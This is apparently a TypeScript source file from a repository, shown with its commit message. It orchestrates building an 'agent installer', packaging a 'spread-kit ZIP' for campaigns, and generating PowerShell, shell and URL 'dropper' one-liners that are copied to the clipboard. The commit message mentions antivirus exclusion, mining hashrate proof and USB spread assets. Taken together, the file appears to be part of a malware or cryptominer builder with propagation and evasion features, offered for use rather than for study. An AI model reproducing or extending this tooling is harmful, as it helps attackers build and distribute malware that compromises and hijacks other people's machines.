Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
151 lines
4.2 KiB
TypeScript
151 lines
4.2 KiB
TypeScript
import type { BuildRequest, BuildResponse } from '../types';
|
|
import { normalizeForgeForm } from './forgeFormNormalize';
|
|
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
|
|
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
|
|
import {
|
|
combinedDropperQuery,
|
|
getUrl,
|
|
ps1Oneliner,
|
|
shOneliner,
|
|
} from './emberwake';
|
|
|
|
export const MISSION_STEPS = ['configure', 'forge', 'export'] as const;
|
|
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
|
|
|
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
|
configure: 'Apply loadout presets',
|
|
forge: 'Build agent installer',
|
|
export: 'Package spread-kit ZIP',
|
|
};
|
|
|
|
export interface MissionLinks {
|
|
ps1: string;
|
|
sh: string;
|
|
get: string;
|
|
clipboardText: string;
|
|
}
|
|
|
|
export interface MissionResult {
|
|
build: BuildResponse;
|
|
exportSkipped: boolean;
|
|
}
|
|
|
|
export interface MissionApi {
|
|
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
|
|
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
|
|
}
|
|
|
|
export function applyMissionPresets(
|
|
form: BuildRequest,
|
|
operationMode: OperationModeId,
|
|
spreadProfile: SpreadProfileId | '',
|
|
): BuildRequest {
|
|
let next = applyOperationMode(form, operationMode);
|
|
if (spreadProfile) {
|
|
next = applySpreadProfile(next, spreadProfile);
|
|
}
|
|
return normalizeForgeForm(next);
|
|
}
|
|
|
|
export function buildMissionLinks(
|
|
serverBase: string,
|
|
buildId: string,
|
|
campaign: string,
|
|
): MissionLinks {
|
|
const query = combinedDropperQuery(buildId, campaign);
|
|
const ps1 = ps1Oneliner(serverBase, query);
|
|
const sh = shOneliner(serverBase, query);
|
|
const get = getUrl(serverBase, query);
|
|
const clipboardText = [ps1, sh, get].join('\n\n');
|
|
return { ps1, sh, get, clipboardText };
|
|
}
|
|
|
|
export function missionStepIndex(step: MissionStep): number {
|
|
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
|
|
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
|
|
return idx < 0 ? -1 : idx;
|
|
}
|
|
|
|
export function missionStepStatus(
|
|
step: (typeof MISSION_STEPS)[number],
|
|
current: MissionStep,
|
|
exportSkipped: boolean,
|
|
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
|
|
if (current === 'error') {
|
|
const idx = MISSION_STEPS.indexOf(step);
|
|
const curIdx = missionStepIndex(current);
|
|
if (idx < curIdx) return 'done';
|
|
if (idx === curIdx) return 'error';
|
|
return 'pending';
|
|
}
|
|
if (step === 'export' && exportSkipped) return 'skipped';
|
|
const idx = MISSION_STEPS.indexOf(step);
|
|
const curIdx = missionStepIndex(current);
|
|
if (curIdx < 0) return 'pending';
|
|
if (idx < curIdx) return 'done';
|
|
if (idx === curIdx) return 'active';
|
|
return 'pending';
|
|
}
|
|
|
|
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
|
|
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
|
|
await navigator.clipboard.writeText(links.clipboardText);
|
|
return;
|
|
}
|
|
throw new Error('Clipboard unavailable');
|
|
}
|
|
|
|
export async function runForgeMission(opts: {
|
|
form: BuildRequest;
|
|
operationMode: OperationModeId;
|
|
spreadProfile: SpreadProfileId | '';
|
|
campaign: string;
|
|
serverBase: string;
|
|
fusionPrepFile?: File | null;
|
|
api: MissionApi;
|
|
onStep?: (step: MissionStep) => void;
|
|
cancelToken?: string;
|
|
}): Promise<MissionResult> {
|
|
const {
|
|
form,
|
|
operationMode,
|
|
spreadProfile,
|
|
campaign,
|
|
serverBase,
|
|
fusionPrepFile,
|
|
api,
|
|
onStep,
|
|
cancelToken,
|
|
} = opts;
|
|
|
|
onStep?.('configure');
|
|
const configured = applyMissionPresets(form, operationMode, spreadProfile);
|
|
|
|
onStep?.('forge');
|
|
const build = await api.buildAgent(
|
|
{ ...configured, cancel_token: cancelToken },
|
|
fusionPrepFile,
|
|
);
|
|
if (!build.success) {
|
|
throw new Error(build.error || 'Build failed');
|
|
}
|
|
|
|
const buildId = build.build_id?.trim();
|
|
if (!buildId) {
|
|
throw new Error('Build succeeded but no build_id returned');
|
|
}
|
|
|
|
const exportSkipped = !configured.spread_kit;
|
|
if (!exportSkipped) {
|
|
onStep?.('export');
|
|
await api.exportSpreadKit({
|
|
build_id: buildId,
|
|
server_url: serverBase,
|
|
campaign,
|
|
});
|
|
}
|
|
|
|
onStep?.('done');
|
|
return { build, exportSkipped };
|
|
}
|